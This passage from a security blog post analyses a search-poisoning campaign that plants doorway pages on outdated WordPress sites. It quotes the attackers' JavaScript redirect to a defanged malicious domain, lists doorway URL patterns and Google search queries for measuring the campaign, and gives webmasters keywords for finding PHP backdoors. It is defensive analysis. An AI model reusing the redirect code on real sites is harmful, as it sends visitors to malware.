To redirect visitors to malicious sites, hackers use (in this particular attack) the following JavaScript

var url = "hxxp://www3.addfreeprotectionwa .cz.cc/?6212ee=m%2Bzgl2uTlp2emNXO1K%2BimtnX4KbVn6%2BWkJOrYpuaa1Y%3D";
if (window!=top) {top.location.href = url;}
//else document.location= url;

(Infamous .cc domains. In some cases I’ve seen “*.rr.nu” domains) The domain names of malicious sites regularly change, which proves that hackers actively control compromised websites.

4. Old WordPress

The majority of the compromised sites are WordPress blogs that use old versions of WP (e.g. 2.5.x and 2.6.x)

5. URL patterns

The most common URL pattern of the doorway pages is hxxp://example .com/wp-admin/images/logos.php?itemid=keywords

Some other, less prevalent, patterns are:

wp-admin/import/rs.php?itemid
wp-admin/import/st.php?itemid
wp-admin/import/dotcl.php?itemid
wp-admin/includes/pos.php?itemid
wp-admin/includes/med.php?itemid
wp-includes/images/smilies/icon_sa.php?itemid
wp-includes/var.php?itemid?itemid
wp-includes/images/crystal/cod.php?itemid
wp-content/plugins/sociable/images/liv.php?itemid
wp-content/uploads/2008/12/logos.php?itemid
...

As you can see all these patterns use .php files that clearly break WordPress conventions. For example,

• there shouldn’t be any public indexable pages in /wp-admin and /wp-includes directories
• the files are not core WordPress files and users are not supposed to change anything inside /wp-admin and /wp-includes directories
• while it is a normal practice to add custom files into /wp-content directory, it’s very suspicious to see .php files in images directories
• it is even more suspicious to see .php files in the uploads directories — which may be a strong sign of a site compromise.

6. Prevalence estimates

Given the URL patterns of the doorway pages differ from legitimate WordPress URL patterns, we can use Google’s inurl search operator to estimate the scale of this problem.

For example, for the [inurl:"wp-admin * php itemid"] search, Google currently returns 22 million results (warning: don’t click on search results).

I estimate that more than 90% of them are malicious backdoor pages.

Most of them target various “hot news” topics. Let’s check how many of them mention disasters: ["inurl:wp admin images logos php" disaster]

At this point I can see almost 1.5 million doorway results on disasters — this sort of news is probably the most “profitable” for criminals — people shocked with the news are less likely to be looking what links they are clicking on.

Now more specific query: ["inurl:wp admin images logos php" "most recent earthquake"] – 1,750 doorways that cover many high seismic risk regions: California, Japan, Taiwan, Chile, New Zealand, etc.

To find the number of index doorway pages on individual compromised websites I used the ["inurl:wp admin images logos php" site:example.com] searches (replacing “example.com” with actual domain names). The average number is about 20,000 indexed doorway pages per site. On some sites this number is as high as 100,000. On others it may be just a couple of thousand.

In any case, we can see that hackers generate at least several dozen new doorway pages on each compromised site every day targeting all sorts of news topics. So, every days they have quite a steady stream of clueless web searcher who use Google to learn more about hot news: from disasters to the latest rumors about celebrities.

7. Lack of malware warnings

To protect web searchers from security risks, Google displays the “This site may harm your computer” warning on search results from known blacklisted sites. Web browsers like Firefox, Safari and Google Chrome also display similar warnings when people try to open such sites.

Unfortunately, at this moment Google is aware of only about 5% of websites with such malicious backdoor pages, so don’t expect them to warn you.

To Google

Come on Google, I’m sure you are aware of this problem. Why not feed the results of the [inurl:"wp-admin * php itemid"] query to your malware scanners?

Bonus: understanding the WordPress URL structure, we can easily reveal some other poisoned search results. E.g. ["inurl:wp admin images * php" -logos] currently returns 327,000 search results and I can clearly see another malware attack that uses the “/wp-admin/images/dating/index.php?” URL pattern (again, most of them are not blacklisted yet).

To web searchers

Look before you click on search results. Especially if you are searching for the latest news, at least ask your self whether the site can be a source or trustworthy information about the topic. Pay a special attention to the link pattern — Google displays it for a good reason.

To webmasters

1. Make sure all third party applications that you use on your web sites are up-to-date and fully patched. Using an old version of WordPress is like an invitation to hackers to abuse your site.

2. Regularly check web pages indexed on your site. Use either Google Webmaster Tool or the [site:example.com] Google search (replace example.com with your site’s domain name). You may find some unexpected pages there.

3. Regularly check what search keyword people use to find your site. Google Analytics is not enough here as the doorway page don’t contain your tracking code. You should either analyze raw server log (or any log-based statistics) or check the “Search queries” and “Keywords” reports in Google Webmaster Tools — you may discover that your site rank for quite unrelated keywords.

4. If your site happens to be one of the compromised blogs, not only should you remove those doorway files (e.g. “wp-admin/images/logos.php“) but also find and remove backdoor files that hackers have uploaded to your server. Here are some keywords to search for: “eval“, “base64_decode“, “edoced_46esab“, “gzinflate“, “gzuncompress” , “eval(stripslashes“, “FilesMan“.

Do you have anything to add?

In this post I covered only one type of Google results poisoning for news related searches. Have you seen any other similar black hat SEO campaign? Have you identified other Google searches that mainly return links to malicious web pages? Your information and comments are welcome.

Related posts:

• Hackers Abuse Servage Hosting to Poison Google Image Search
• Bety.php Hack. Part 2. Black Hats in Action.
• “Cheap Vista” or Cloaked Spam on High-Profile Sites
• Doorways on Non-default Ports — New Trend in Black Hat SEO?
• Introduction to Website Parasites